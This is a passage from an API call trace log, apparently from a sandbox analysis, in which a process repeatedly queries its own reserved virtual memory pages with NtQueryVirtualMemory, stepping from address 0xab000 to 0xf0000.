State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.850] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xab000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xac000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xe0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xad000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xae000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xde000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xaf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xdb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xda000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xb9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xba000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xba000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xbb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xbc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xbd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xbe000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xce000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xbf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xca000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.851] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xc9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xca000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xcb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xcc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xcd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xce000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xcf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xba000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xd9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xda000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xda000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xdb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.852] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xdc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xdd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xaf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xde000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xae000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xdf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xad000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xac000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xab000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xaa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xe9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xea000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xea000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xeb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xeb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xec000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xed000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xed000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xee000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xef000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xef000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18fcc4, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18fcc4*(BaseAddress=0xf0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0112.853] 